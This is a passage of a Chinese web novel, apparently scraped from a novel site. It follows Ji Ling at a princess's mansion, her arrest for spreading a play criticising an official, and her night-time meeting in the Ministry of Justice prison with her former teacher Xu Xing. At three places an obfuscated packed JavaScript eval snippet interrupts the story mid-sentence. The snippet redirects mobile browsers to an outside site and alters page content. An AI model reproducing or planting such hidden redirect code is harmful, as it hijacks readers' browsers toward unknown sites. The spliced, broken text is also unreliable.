因此刚入公主府时,她就暗记隐鳞戢翼,避免多生事端。 可是如何按捺,她最终还是没能控制住。 在何咨宁消失后没多久的一个春日,季泠和姑娘们去武场练功。 那日的练功正巧要与西三所的幕僚们同训,却被她们撞到了意外的场面。 季泠几人走进时,就看见楼饮晴和一个男人拉拉扯扯,身边还站着好几个看笑话的男子。 楼饮晴皱着眉将其甩开,却被那个男人推了一下,她避之不及,跌倒在地。 季泠立刻走上去将楼饮晴扶起来,对上了那几人。 “哟?来帮手了?正巧就让大家知道!你是一个多么不要脸的□□!” 此话一出,身边所有人都围了上来,想要凑一凑热闹。无论是站在楼饮晴对面几个男幕僚,还是在武场训练的侍卫府兵,都不怀好意地盯着楼饮晴。 谁人不知道,东三所的楼饮晴是公主府内最漂亮的女谋士,眼波流转之间,就勾了无数人的魂去。 刚才推倒楼饮晴的男子继续追击:“你别给脸不要脸。你这一双玉臂千人枕睡,还差我一个吗?前儿对着他笑,今儿对着我笑,可不就是一个人尽可夫的娼妇?哈哈哈哈哈哈。” 此话一出,身边的男人全部笑开,楼饮晴脸色煞白,却不甘下风:“凭你这等货色,也想癞蛤蟆吃天鹅肉?我何时对你暗送秋波?莫不是你们这等心思肮脏又自以为是的家伙,见了漂亮女人再得体不过的笑脸,都觉得是看上你们了?才貌皆空的下作之流,也不撒泡尿看看自己的模样,知道的看你们算是个男人,不知道的还以为你们全是玉帝佛祖呢,全世界的姑娘都要来烧你这柱香不成?” 那男子被戳中心思,立刻开始张牙舞爪起来:“我看上你是给你面子,你一个女人,总归要找男人的。失了贞洁的女人,竟然做了婊子还立牌坊!”说罢,就想上前一步,竟然作势要扇楼饮晴一巴掌。 季泠眼疾手快,挡在强装镇定的楼饮晴身前,一把抓住了要扇下来的脏手,大力地推了回去。 将那男子推得后退几步,不小心踩到了他的同伴。 季泠像是摸到什么腌臜东西一样,嫌恶地拍了拍手,掸去身上莫须有的灰尘,抬头毫不怯懦地盯上几人。 “贞洁是什么可笑的东西?底层要孩子种田干活的人家,上层征战守国的将相,都对此毫不在意。你们这些人,将贞洁日日挂在口中。挣脱了原始的需求,控制不住自己骄奢淫逸的欲望,就将身边女子的贞洁换算成价值来增加自己的筹码。这何其可笑?越是爱说贞洁的人,内心才越是肮脏。” “公主做事,向来讲究公平公正,我们同席而学,同场而训,同准而量。若是你们非要用贞洁来评判我们女子,那我们也该礼尚往来,用贞洁来评判一下你们。若是这样一来,我想请问,在场清白的男人有几个?嗯?一个都没有吧?那岂不都是沟渠之中臭味相投的木蚤?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446288|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那男子经由身边同伴的扶持,终于是站稳了,见口头上找补不回来,竟然想要动粗。 季泠不甘示弱,抽出一直拿在手中的佩剑,毫不客气地指向那男子:“怎么?无法以理服人,就想要以武力压制?公主将你们招进府内,以贤臣之礼款待,请有识之士训导,你们就是这样回报的吗?” 他身边的人见是讨不了好了,季泠又反复提到公主,他们不得不顾及,将那男子拉住:“算了,这女人嘴巴厉害的很,若是真捅到公主那儿去,我们只会吃亏...” 正在此时,教他们剑术的吴师傅走近:“都聚集在这儿做什么?” 众人立刻散开,纷纷低头,装作无事发生。季泠也将剑入鞘,走回一众女幕僚之间。 季泠这风头一出,可是让她在东三所扬了名。紫菀和乌柏对她当日的表现啧啧称赞:“你是没看见,后头那几个男人,脸色是有多难看,要不是碍于是在公主府内,他们怕是要直接过来揍你了。” 季泠想想也十分后怕,只是苦笑:“你们以为当英雄是什么派头事情啊,我后面练剑的时候,手脚直发软,给吴师傅骂了好几回呢。” 楼饮晴听见了几人的谈话,从房内走了出来,径直走向她们:“既然如此,你为何要帮我?” 背后议论她人,季泠感觉别抓包后有些尴尬,站了起来,硬着头皮诚实地说:“我不是帮你,只是帮咱们女子。那些男人说的话太过难听。你作为当事之人,不论怎么说,在他们耳中都是想要否认的狡辩。总该有个局外人出来说两句,才能堵上他们的嘴。” 楼饮晴没想到是这样的回答,似乎这句话戳中了她心中某处脆弱的地方。 她拉住季泠的手,笑得大方又灿烂:“多谢。” 季泠被她的绝色丽姿震得瞬间呆愣,像是呓语一样,将心中的话毫无保留地说了出来:“饮晴,你长得真美...” 楼饮晴和紫菀、乌柏没料到季泠应了这样的话,纷纷大笑起来。 经由此时,楼饮晴就与季泠自然地热络起来,不再是之前礼貌却疏离的模样。两人也常常结伴,多在东三所各处走动。 五月初夏之际,太阳已经有些毒辣,结束武训操练之后,季泠忍受着身上的粘腻,拉着楼饮晴要回三院去沐浴。 回去路上,两人见到一条长队,领头的女子昂首挺胸,自信耀眼。 季泠仔细看去,那女子如远山芙蓉,和楼饮晴不相上下了。只是年岁尚轻,少了几分韵味,多了几分狂傲。 她脚步生风,身后跟随了一串和她们一样的幕僚以及侍女仆从,好不威风。 季泠好奇地停下脚步:“饮晴,那位是谁?” 楼饮晴顺着她的目光看去。 “她是沈赟偕,东三所的姑娘中,她是最拔尖的。沈赟偕本来是宫中的女官,当年公主出宫立府,皇后娘娘就将她赐给了公主,一直至今。东三所内,无论是文试还是武考,她始终都在三甲,从没有被其他人夺走风头。一院之中住着几位姑娘,她就是其中一个。听闻前段时间西南土司叛乱,她被公主派去协助地方解决此事,立下不少功劳。此番应该是回府得了公主的嘉奖,是而才有这样浩大的排场。” 季泠的眼神追随着她随风扬起的衣袂,直到沈赟偕的身影被身后的侍从遮挡住,季泠才依依不舍地收回视线。 “什么时候,我也能得到这样的机会,让东三所的姑娘都钦佩我的异彩,让外头的朝臣都赞叹我的才华呢...” 季泠跟着楼饮晴,内心却在偷偷地羡慕沈赟偕的风光。 季泠很快就等到了这个机会,比她想象中的更快。 27. 重返学社 六月盛夏闷热,院子中的蝉鸣终日不休,季泠打开门窗通风,坐在屋内看书时,却来了一位她意料不到的人。 “越大人,可是公主有何吩咐?”季泠看着越兼趁夜前来,心里咯噔一下。 越兼转身关上门,将公主写的纸条交给季泠。 季泠打开看了一眼,“古良学社?” 越兼点点头,“公主要你重回古良学社,一年前你宣扬起了女子平权和寒门入学的风波,虽然之后公主禁止你继续出去参与社论,但你私下通信之事,公主都知晓。” 季泠惊讶,她明目张胆违反了公主的命令,公主竟然一年多来也未向她问罪。 “如今在各处酒楼茶馆中,声势已经造的够大了。公主的意思是,你去出面,最后助长一波,煽风点火,让此事传得更大些。” 季泠不理解公主这种做法,她鼓励寒门入学,为寒门出言争利,无疑是在和世家贵族宣战。公主应该压制才是,为何反过来帮她呢? 越兼看出了季泠的疑惑,将公主的话仔细告知:“朝中冗官冗员,耗费庞大。而大部分的人都是靠着祖上的爵位、封地,荫蔽才谋了一官半职,不为皇家和百姓做事不说,还躺在赋税之上极尽奢华,不事正道,败坏士族风气。” 实际上,华荣公主早就已经盯上了古良学社,一年前与季泠参与社论,之后被捉拿的几人中就有她东三所的人。季泠如何进入公主的眼,又如何顺理成章地被何咨宁救下。这一切压根不是季泠福大命大的运气,而是早已谋定好的事在人为。 公主对着越兼说:“本宫需要这样一群人,不畏强权,又心怀大义,愿意在民间利用三教九流的力量,扇出几股风来。最好扇得再大点,吹进朝堂之中。” “寒门入学只是你们的第一步吧。后续就是要朝廷削减荫官,为这些学子的入仕之道铺路。只有这样,朝中才能多更多可用之材,财税才能松缓,留足余地给军备民生。” 季泠听完,不知道该如何回答。她不敢相信,她自从进入公主府,内心就十分矛盾,如果为公主府做事,乘着这股东风,她自然是实现了自己青云直上的抱负,来日前程光明。 可是这就意味着,从建州那个小城里爬出来的自己,必须要和贱卖谷梁却终日不得暖饱的农民、贫苦之家发奋读书的孩子们成为敌人,而她不仅从小在这样的环境中长大,甚至她就出自于此。 若要真这么做,她季泠就是忘本! 最后,她决定铤而走险,借用轩墨阁传信,继续保持与古良学社的交流。 没想到,这一切居然都在公主的掌握之中。 终究是她太天真了,忘记了普天之下,莫非王土。 “既然公主知道,为什么不放我去与学社众人进行社论?或是直接截住我的信件,不让我再与其有过多联系呢?” 在公主眼皮子底下耍心机,玩欺上瞒下,她可是罪加一等啊。 越兼看着季泠还是这副天真样子,气得直摇头:“你以为当日来抓捕你的是什么人?若不是公主将你带走,你们这群不知天高地厚的孩子哪里等到将京城风云搅动?早已经被抓进刑部大牢,命丧黄泉了。生于忧患死于安乐,就是因为经过此事后,你们知道危险存在,不敢贸然光明正大地召开社论,才免去被探查抓捕的风险。” 季泠恍然大悟。 越兼继续说道:“况且你是不是忘记了,你进公主府的身份是什么?如今你是季执庸,可不是季泠了!随意地与过往之人有交集,只会暴露你的身份,破坏殿下的安排。” 季泠赶忙认错:“幸而殿下思路周全。是执庸冲动了。” 越兼扶起她:“今日来找你不是问你罪的。当日抓捕已经过去一年了,之前管理此事的官员也已经不在刑部,想来应该对此事放下警惕。正值近日钱莘之子强抢已婚女子之事,此案尚未定夺,这就是你们继续借风的好时候。” 季泠明白了,送走了越兼,她立刻提笔,第二日一早就来了轩墨阁。 挽梨楼前,红袖罩云,酒客纷纷。季泠穿着素綦色直身,头戴东坡巾,犹豫了片刻后,还是抬腿走了进去。 小二接待后,按照季泠的吩咐,将她带到了预定的雅间之内。 门一推开,四个瘦弱的男子已经围在桌前,就等着季泠到来。 季泠第一眼就看见了一个许久未见的熟人,她在齐府的侍女林微。 季泠朝她暗暗点了头,示意她暂时不要动作。 最先站起来的是一个眼尾略垂、眉诉凄苦的男子,穿着一身道袍,看起来略微宽大了些。“孟泠,你可算来了!” 这一开口,竟然是个女子声音。季泠谨慎地看了看四周,确定无人之后关上了门,才转身向他们走来。 古良学社之中,大家行事讨论皆不用真名,这是一直以来的传统,就怕招惹出事情后,有人受不住刑,或是想要脱离学社了,将其他人供出去。 季泠瞧见她们装扮,四人皆是一身宽大道袍,她实在忍俊不禁:“你们这扮得也太假些了吧!莫说旁人了,我一眼就看出来你们装成男人。” “今日的主角不是我们,我们可安排了一出好戏,等你来看呢。”刚刚那继续女子说话,她是向阳笙,季泠印象中的阳二。 “所以你选了挽梨楼?可是这儿人多眼杂,我们如何议事呢?” 另一个典雅清瘦的女子说道:“你先别急,让这一出戏唱完,等下一出戏登场,你就知道了。这可是阳二的地盘,她有分寸的。” 季泠笑了笑,坐在了他们面前:“当日风波之后,时隔一年多未见了,各位可还好?我虽说与你们书信互通,可是身不由己,没能跟你们一同…” 苏缘桢打断她:“我们都知道。忽然入了此处,谁还没有个难言之隐呢?” 季泠点点头,又听她们仔细说了说近况。 虽然她不在学社之中频繁参与各类事宜,但一年前的事情让她们也心有余悸,因而大家都收敛了不少。 这一年来,在《女界》的助力下,她们造起的声势逐渐庞大,苏缘桢在茶馆书局里、向阳笙在戏园酒楼中、沈藕衣在绣楼里,这些都是京城流言蜚语最容易传播的地方。 这出戏已然结束,下出戏报幕之时,季泠几人走出雅间,站在二楼观景台中,注意着附近和一楼众人的动静。 季泠见几人有些太明目张胆了,有些不放心,用手中的竹骨纸折扇遮住口鼻,侧头问了一旁的阳二:“今日来的人怎么这么多?要不我们先分散开来?” 桢三听见了动静,凑到她一旁:“我们早早就放出风声,今日有一场与众不同的大戏,这才来了这么多人…你放心,就是要这么多人才好,结伴而来者众多,我们不算显眼。” 季泠点点头,站正回去,但总感觉有哪里不对劲,心直突突地跳。她看了看四周,看客众多,一楼已经全部坐满了,不少人还到了二楼来,站在栏边,以高处俯瞰。 锣鼓喧天,好戏开场。 戏唱过上半场后,人愈发多了起来,季泠心不在焉地看着,留意到二楼楼梯口处有些嘈杂和波动,正想走过去看看。 旁边几个新来的男子,头带幅巾,手摇着折扇,拦住季泠问了一句:“兄台,我们来的不巧,错过了前头,这出新戏讲的是什么?” 季泠看了看旁边的阳二,她笑着压低声音回答:“这出戏是他们挽梨楼新出的,名叫《诉民冤》。唱的是一户贫苦人家为女儿寻了书生配了好婚事,这书生还是她母家兄弟的同窗,二人婚后琴瑟和鸣,恩爱不已。” “未料到嫁出去的女儿被大官之子强掳而去,这位书生带着妻兄前去官府敲鼓鸣冤。这官府啊明面上是开堂审理了,结果私下竟然将几人收压下狱。原来大老爷是那位大官的门生,得了授意,最后将几人虐待至死了。最后引得天下学子不满,闹了起来,这大老爷才丢了乌纱帽。” 那男子好奇:“哦?那大官呢?他就没事吗?” “他….” 正在他们说的热火之际,一群官兵带刀而来,将二楼的楼梯口全堵住,不许人上下。 向阳笙耳朵一动,在与那几位男子交谈的过程中,立刻察觉到异动,当即站起来,带着几人退回雅间。 只可惜那队人马似乎早有准备,直奔季泠五人而来,问也不问,立刻 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事后刑部出了文告,今查得挽梨楼内有逆贼乱党作乱,危害京城,扰乱社稷,礼法不容,罪无可赦。刑部差役严正以待,即刻捉拿。 这下众人还有什么不知道的。可即使有官兵镇压,也压不住口口相传,大家你一言我一语的,八九不离十的真相就这样传开了。 “你知道吗,这出戏唱的大官就是朝中那位呢!” “是哪位啊?” “内阁钱大人呐!他儿子前段时间强抢有夫之妇,父母兄弟都去报官,官员畏惧钱大人,竟就不管了…她的兄长是个秀才,立刻召了有良心的同窗去衙门前闹事,竟然就被押走了…” “后来呢?” “还能有什么后来,寻个由头不明不白的死了呗。他父母骤然得知儿子死讯,急火攻心,双双没了。” “他儿子不是秀才吗?官府竟也不管?” “桀,秀才有个鸟用,天下秀才一大把,还不是上头说啥就是啥。” “官官相护,竟就没有天道王法了吗…” “少爷,事情已经有眉目了。” “此次事件牵连较广,主谋共谋是否都已抓捕归案?” 徐行端坐案前,执笔专注写着公文,眼睛都未曾抬一下。 “主事五人,已经抓下了。挽梨楼内已经控制住,没有放走一个人。” “不要将阵仗弄得太大。那些看客身份一一审核,若是没有嫌疑就放走吧,免生动乱。被捕之人的底细如何?” “怪就在这,五个人看似瘦小得很,在京城时间倒是都不长,身家看起来也是清白,并无什么可疑之处。” 览风说罢,呈上一张纸。 “这是那五人的名单。” 徐行放下笔,看着五人的名字:林四、桢三、阳二、沈一、孟泠。 “孟泠…” 他静静地看着这个名字,心下一跳。 “愿随泠风去,直出浮云间!” 不知怎的,他想到了那双洞察万物的眼睛,大胆地看着他谈论天地。 览风见了少爷的沉默,答道:“这个孟氏怕是与主谋关系匪浅。刑部之人到时,她冷静从容,还敢大声宣扬,质问官府。下狱之后,直言此事任由三法司审查,有何疑问,提他来审就是,不要伤及他的同行之人。倒是个有胆色的….” “这几个名字不是真名,查出来的东西自然不可信。再继续查吧,这干子人看起来应当不是主犯,可能是下头的喽啰。明日我见过江大人后,再行定夺。” 徐行合上公文,捏了捏眉间。 人总有力不从心的时候,徐行现在就是如此。 江阔与他平级,都位居郎中之位。虽然此人外强中干,狐假虎威,但他确实达成了目的,让徐行不得不顾及钱莘的势力,只能暂时妥协。 许多人也看着江阔有冉冉上升之像,追之不及般上赶着奉承巴结,为他造了不少势。 两位郎中,本该是维持部内平衡,势均力敌。可如今一方权势过大,必然造成另一方屈于下风,事事掣肘,极其不便。 28. 深夜审讯 览风正要走出去时,徐行却突然叫住他:“先等等,此事交给阅云去办。你先随我去一趟大牢。” 徐行走到院子中,抬头看了看天色。 夏夜的天似乎特别黑,从天而降的风都带着一股腐朽之气,徐行吐了口气,往外走去。 “那五人被关押在哪?”徐行走进刑部大牢,牢里几乎不通阳光,即使点了烛火,仍然有些昏暗,准确来说,是没有希望的无边黑暗,充满压抑和绝望。 “在前面。”览风给徐行带路。 其实这件案子徐行本可以不用接手,就算接了,也只需坐在衙门里即可,完全没有必要下到这个脏污混乱的地方来。 徐行跟着览风,却忽然闻到一股令人作呕的味道,他不由得皱了眉头:“这是什么味道?” 览风仔细嗅了嗅:“刑部大牢一直都不怎么仔细管理这些犯人的生活。平日里吃些汤水馊饭的,也没有替他们准备沐浴洗漱之类的东西。如果犯了大错受了刑,在炎热天气可能会伤口溃烂,再加上不见天日不通外气,味道自然难闻些。” 徐行觉得有些犯恶心,他刚上任不久,在波诡云谲的刑部中,短时间内要立身掌权,并不容易。 他还没来得及到这儿的牢狱中,只是坐在官署衙门里勾勾手就决定了一些人的生死,竟然不知道在死前,这些犯人的生活已然是卑贱至此,毫无尊严。 “少爷,就在此处了。” 到了这一排牢房的倒数第二间,览风停下来了脚步。里面关着几个人,看起来要不是神色仓皇,要么就是丧失希望,已经做好了赴死的准备。 徐行皱了皱眉,奇怪地问:“怎么才四个人,不是说五个吗?” 一旁的狱卒见是徐大人,讨好地上前:“还有一个是这伙人的头头,前儿刚被一位大人提去审了,现下还没回来呢。” 览风诧异:“深夜审理?这不合规矩吧?” 狱卒也不知道,他哪有资格置喙上头的决定呢。 已经快要后半夜了,徐行不想多费口舌,直接问:“在哪里审?” 狱卒见到徐行冷脸了,忙低头带路:“小的带您去…” 徐行和览风穿过各个牢房,犯人低声的呜噎和痛苦的嚎叫时不时撞进他们耳中。 览风已经司空见惯,徐行却有些难以忍受,忍不住问:“这些嫌犯,大部分都尚未定罪吧?是受了伤还是被虐待了?怎么可怜至此?” 像是要被送往屠宰场的牛羊,痛苦又无助。 狱卒弯着腰小心回话:“虽然是尚未定罪,但进来了哪有容易出去的呢?基本都是穷凶恶极的囚犯或是犯了大事的官员。小的说句不该说的,他们已经被外面的人放弃了,哪怕是冤狱,也活不到平反出去的那一日了…” 徐行深思,也就是说,如果外头的人想要营救,就算是犯了大错,只要不到难以掩盖的地步,都能被抹平? 这就是清白世道的刑狱之治吗? 徐行不再多问,几步后就到了刑室,灯火透过缝隙投射在门前的地上,幽幽晃晃,里头传出一些笞挞之声。 徐行觉得不对劲,不假思索直接推门而入,就看见一个穿着囚服的人被摁在地上,正在受笞刑。 堂上坐着一个中年男子,身材略微臃肿,下面两个狱卒正在听令行刑。 见到徐行,堂中之人诧异,立刻站了起来,端起一副大架势:“来者何人?怎敢深夜擅闯刑部刑室?” 览风不满,站了出来替徐行报上名号:“我府大人是刑部徐大人。” 徐大人?是刑部郎中徐行? 那人一呆楞,随后惊得立刻拉着一高一矮两个狱卒小跑到徐行面前,恭敬起来:“徐大人怎么深夜造访?您何必来此一趟,有什么事情吩咐下面人即可。我等自然鞍前马后,为您效劳。” 徐行不喜欢他这幅见风使舵的样子,头也不抬直接走上主位坐下,然后才开口问:“你是何人?为什么深夜不下值,还在这里审讯?审讯可有上报,何人批准,过了文书同意了没有?” 那人倒也不急,还未客气几分就直起身来,直直地看着徐行,虚虚地行了一礼:“在下是刑部掌固,姓刘,是受的江大人之命,来审此次案子的主犯。” “江大人?江大人可是把此案移交给了本官全权负责。可是本官近日并未见到需要夜审主犯的状纸。” 刘掌固有些僵硬,徐行年纪轻轻就任了郎中一职,前段时间又升任了詹事府少詹事一职,免不了被众人议论是靠家族荫蔽和恩师提携才有的今日。 平日里大家都只说刑部徐大人看起来好脾气,温和有礼,不像是能管好刑狱之事的样子。 今日看来,传闻竟然都不是真的,仅仅几句话,就压得他喘不过气来,不知道如何作答。 他手下的矮个狱卒却不懂得审时度势,贸然就开口:“江大人暗中吩咐我们,一定要严审此人,非逼他将幕后之主供出不可。” 刘掌固脸色一变,这个蠢货…他立刻出言呵斥。 可那狱卒却心有不甘,江大人和徐大人在刑部平起平坐,他们替江大人办事,何必要怕徐大人呢? 徐行扫了他们几眼,声色俱寒:“刘掌固,你可知道掌固之职?” 刘掌固已经冒汗,战战兢兢:“卑职掌管仓库、文书与刑具…” “既然是掌管刑具,就好好检查清楚,看管好来,不要在不该出现的时间和地方出现。不然,本官可不知道,训鹰之人会不会被鹰啄了眼睛。” 徐行没有发怒,可是言辞之间的寒意已经让刘掌固担心起来。 徐行又问:“你们常在此时此处审讯吗?皆是没有走正规的审批流程,就凭上官一句话?” 三人面面相觑,不敢作答。他们要怎么答呢?区区小官,还不是神仙打架,小鬼遭殃,上头要他们怎么做,他们还能说不吗? 这个问题,说是,得罪了江大人,说不是,又得罪了徐大人,他们左右为难,只好闭口不言。 见到这幅景象,徐行也不强迫他们,大概也知道是什么答案了,也就不再多加为难。 只是江大人...看来他还是太好脾气了些... 徐行不再问题外之话,“你们审也审了,问也问了,可问出了些什么东西?” 刘掌固摇摇头:“这人嘴硬的很,什么都问不出来,只说他们冤枉,只是友人闲时聚会而已,是被误抓的。” 他犹豫了一下,看了看旁边给徐行带路的狱卒和览风,徐行示意之后,览风将狱卒遣了回去,自己守在门前。 “我们前头审讯,他抵死不说,这才心急,动了笞刑。才打了不到二十下,他就晕过去了。我们将他泼醒,发现...发现她竟然是个女子...” 刘掌固神色闪烁,吞吞吐吐的。 徐行感觉不对,怎么会是女子? 一年前这几人在各个酒楼茶馆聚众闹事的时候,分明都是男子,难道真的是下面的人抓错了? 徐行走到主犯跟前,看着她皱了皱眉头,个子挺高,体格精瘦结实,扮成男人确实不会引起怀疑。 主犯受了笞刑,虽然被泼醒,但已经难以动弹,从徐行进来开始,她的脸就隐匿在散乱的头发下面。 听到徐行的声音之时,她猛地一震,牵扯到伤口后,担心引起注意,只能忍着,一言不发。 事隔经年,徐行没想到,他和季泠竟然是以这样的场合会面,判官和主犯,这实在有些荒谬过头了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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端坐后,徐行缓缓开口,言语中是不容拒绝的威严:“刘掌固,你和你的人要想清楚些。此案是本官管辖,今日之事,你们不多说,本官也就轻轻带过,就当没来过牢中,没见到你们用刑。若是嘴巴和手脚到了不该到的地方,那本官也就保不了你们了。” 刘掌固与高矮狱卒立刻跪下以示诚意:“尽凭大人差遣!” 徐行点了点头,留下一句话,“那个孟泠和剩下四人,本官亲自来审,你们若想将功折罪,就快去将真正的主犯抓捕归案吧。” 出了刑房,徐行走回前面关押另外四人的牢房之中,牢房布置简陋,连最基本的散热保暖的装备都没有,墙壁地板也是污糟脏乱,完全就不像是人能生存的地方。 徐行喊来最先带路的狱卒,发布了命令:“明日起,你负责将这几间牢房改造一番,我会指派几人供你调遣。认真清扫,该有的桌椅被褥不要少,该供给的饭食也别克扣,犯人有什么需求,但凡合理的都酌情同意,管理仔细些。” 那狱卒喜出望外,没想到只是给徐行带了路,就升了职,领了新任务。 他义正言辞:“卑职定不辱使命!” 徐行点点头,让他带路去季泠的那间新牢房中,路上又多问了几句:“你叫什么?” 狱卒恭敬地答:“卑职姓赵,家中排行第六,大人称我赵六即可。” 徐行点点头,又问:“赵六,牢房之事,是谁在管辖?一直以来都是如此吗?” “卑职不敢妄言。只是做了狱吏十余载,确实牢房之内的陈设待遇从未变过。一些要犯若是家中愿意使银子找关系的,托人来打点,日子就会好过些。其余的,就如大人看见的这般了。提牢主事吴大人,提点刑部牢狱,稽覈罪囚,是去年上任的。” 徐行了解后,心里大概有了数。 29. 刑狱改革 到了关押季泠的牢狱门前,览风已经派人去找大夫。 他也认出了这是徐行在建州的学生,见徐行是关切的,也仔细说了情况:“少爷,我刚刚大略看了一下季姑娘的伤,主要是伤在背部...他们用的应该是毛板,一杖下,一片血,一层皮。” 徐行皱眉,季泠竟然也能挺下来,也算是奇迹了。 “依你看,这伤势重不重?” “笞刑所用的刑具为竹制,毛板没有削平其节,一杖下去会更严重些。季姑娘受了十来杖,换做寻常姑娘是难挺住的,季姑娘估计是平日有练些功夫,身体底子不错,这才挺住了。等大夫来后好好诊治,休养一段时日,想来就能康复。” 徐行点点头,和览风一起走出去。 “赵六,好好关照这位姑娘,不准苛待。如果缺短什么,或是她伤势变重了,你及时来禀。” 赵六领命,将两人送到大牢门前。 等三人都离开,牢房周围终于恢复了安静。 季泠缓缓睁开眼,注视着徐行的背影,轻微地勾了勾嘴唇。 别来无恙,徐先生。师生相逢,天不亡我。 回徐宅的马车上,徐行越想越觉得不对劲,依照他们先前呈上来的证据来看,抓到的孟泠,也就是季泠,应当就是主犯才是。 可是季泠是什么时候来的京城?又是怎么和古良学社扯上关系呢? 但是孟泠这个身份,显然是季泠冒用的男人身份,估计就是借此藏匿在京城之中,让人抓不到她的把柄,也猜不到她的身份。 季泠啊季泠,还真是每一次出现都给人太大的惊讶呢… 如果孟泠是女人,那剩下五个更瘦小的,想必也都是了。 还真是不可小觑啊,竟然掀起京城一片风云。 想到此处,徐行开口:“派人跟着刘掌固和那两个狱卒,别让他们心偏了。” 三日后,徐行在刑部衙门门口遇到了江阔,两人行了两拜礼,并肩走进衙门内。 “徐大人今日,怎么也来的这么早?”江阔一脸不怀好意,虽然未看向徐行,但语调却很怪异。 “江大人不也来的很早吗?近朱者赤,本官自然要再勤劳一些。”徐行将话挡了回去。他已经猜到江阔要说什么了,早已经做好了准备。 “徐大人,一年前的《女界》一事,既然主犯已经抓到了,为何还不审讯,将案子早些结清呢?也好给上面一个交代才是。” 徐行笑了笑,无意地说:“江大人不知吗?下面的人出了纰漏,抓错人了。现下要全部推倒重来了。” 江阔闻言感觉不对劲,皱了皱眉:“怎么会呢。这几个人已经藏匿了一年,一出现我的人就注意到了,将他们一网打尽…” 徐行立刻接上了话:“是啊,您的人进行的抓捕,在下才接过此案,不甚了解,只是去了大牢一趟,就见到了他们犯了错…江大人要多加管教才是。” 江阔脸一沉,也不想装了:“可惜,我管教不了了。” 徐行一顿,不继续前进了,停下来看着江阔,好奇地问:“江大人何出此言?” 江阔意味深长地说:“据说,徐大人去大牢的第二日,刘掌固就和几个弟兄在酒楼中喝酒,酒醉之余,说了徐大人责怪他们滥用私刑之事。几人情绪激动,最后竟然,暴毙而亡了。” 徐行状若不可思议,震惊地看着江阔:“在酒楼中暴毙?是因为酗酒还是别的缘故?”随即抿了抿唇,意识到什么:“江大人,您该不会是怀疑在下吧?” 江阔微笑:“那怎么会呢?仵作已经验尸,说确实就是因为饮酒过度,加上情绪过激,引发了颅内出血。您说巧不巧,那个酒楼,正是先前抓捕古良学社的挽梨楼。” “江大人的意思是,幕后主谋,要杀了刘掌固等人灭口?” 江阔深深地看了徐行一样,拍了拍他的臂膀:“所以啊徐大人,近日您要多劳心了。” 徐行看着江阔,已然是满面愁容,“这下一来,此案更复杂了啊。”徐行喃喃,与江阔分道扬镳。 徐行走到公案桌前,思考了一会儿。 此案他该如何继续下去呢? 趁夜色朦胧,徐行再次来到了刑部大牢,直奔西侧的牢房。 “季泠,你老实告诉我,是不是你们主导此事?” 徐行站在牢房里,看着躺在地上养伤的季泠。 “不是。”季泠动都不动。 徐行眼中晦暗,看来是自己小看了这个学生,三年的时间完全可以改变一个人,京城这个名利场的涤荡之下,还有谁会一腔热血地保留赤子之心呢。 徐行缓缓蹲下,看着季泠,又一次问出口:“季航青,不要瞒我。我只最后问一次,你,是不是主犯?是谁派你来的,目的是什么,还有何后手。” 季泠许久没有听见有人喊她航青了,似乎一瞬间又回到建州那个夏天,青草茂盛生长的季节。 她扭转过身,坐了起来,薄薄陈旧的衾被从身上掉了下来,团在她的腿上。 她毫不畏惧地迎上徐行的目光,一字一句,十分认真:“徐先生,不,是,我。” 徐行有些无奈,如此一来,他又要如何继续呢?本指望季泠如实相告,他也好顺着找些蛛丝马迹,平了此事就是了。 这件事本来也不算大事,只是江阔死捏着不放,总该有个合理又体面的结案陈词才是。 “你以为不用私刑,你嘴硬不说,事情就能被掩盖住吗?季泠,刑部没有你想的那么简单。进来了,就不是轻易能出去的。” 季泠笑了一下,不以为意. “先生,我与友人只不过是去听那出好戏,您非要把散播流言的帽子扣在我的头上,学生也别无他法。” 徐行已经有些生气了,语调里藏着怒气:“你以为只是流言之罪吗?只要有心人愿意从中作梗,你们不满朝廷选人之法,就可以上升到扰乱民心,意图谋反。如果不是落在我的手里,你以为你们五个现在还有命在?更何况,挽梨楼在当日就被限制出入了,你大可以拿她们的命陪葬。总之,楼中众人,总该有一些与嫌犯有瓜葛之人,这并不难找。” 季泠被抓住了要害。 她知道,徐行没有找另外四人,只是来找她,已经是给她这个学生面子和余地了。她不能牵连别人… 楼中众人都是靠唱曲儿混口饭吃的苦命人,对她们几人的谋划毫不知情,甚是不少人还是阳二的朋友,她不能就这样拉下水… 不过刹那,季泠脑中一动,想到了一个绝妙的好主意。 在黑暗里,她开口,徐行的脸在光明下特别亮眼,她能清晰地捕捉住每一丝变化。 “先生,您是个好官。虽然我与此事毫无关系,但我可以告诉您我的态度。钱大人之子应当被绳之以法,朝中的蛀虫荫官也应该被拔出,您也在南方诸府见过有才学的寒门之士,何不给他们一个机会呢?” 她看见了,徐行面部有一丝微动,她说中了。 季泠微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446291|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,胜券在握:“您确实抓错了人。但是如果您想向江大人有个合理的交代,我们五个人的命,可以送给您,为您铺条路。” 